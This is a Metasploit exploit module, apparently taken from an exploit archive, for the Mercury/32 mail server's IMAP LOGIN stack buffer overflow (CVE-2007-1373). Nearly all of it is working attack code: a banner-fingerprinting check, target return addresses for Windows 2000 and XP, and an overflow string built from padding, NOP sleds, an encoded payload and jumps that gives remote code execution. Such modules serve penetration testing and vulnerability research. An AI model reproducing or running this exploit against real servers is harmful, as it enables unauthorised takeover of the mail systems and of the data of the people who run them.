Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit)
## # $Id: mercury_login.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD LOGIN verb. By sending a specially crafted login command, a buffer is corrupted, and code execution is possible. This vulnerability was discovered by (mu-b at digit-labs.org). }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9583 $', 'References' => [ [ 'CVE', '2007-1373' ], [ 'OSVDB', '33883' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DisclosureDate' => 'Mar 6 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(143) ], self.class) end def check connect resp = sock.get_once disconnect if (resp =~ /Mercury\/32 v4\.01[a-b]/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sock.get_once num = rand(255).to_i sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n" sock.put(sploit) sock.get_once sploit << rand_text_alpha_upper(255) sock.put(sploit) sock.get_once sploit << make_nops(5295 - payload.encoded.length) sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) sploit << make_nops(2) + [target.ret].pack('V') sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750) print_status("Trying target #{target.name}...") sock.put(sploit) select(nil,nil,nil,1) handler disconnect end end |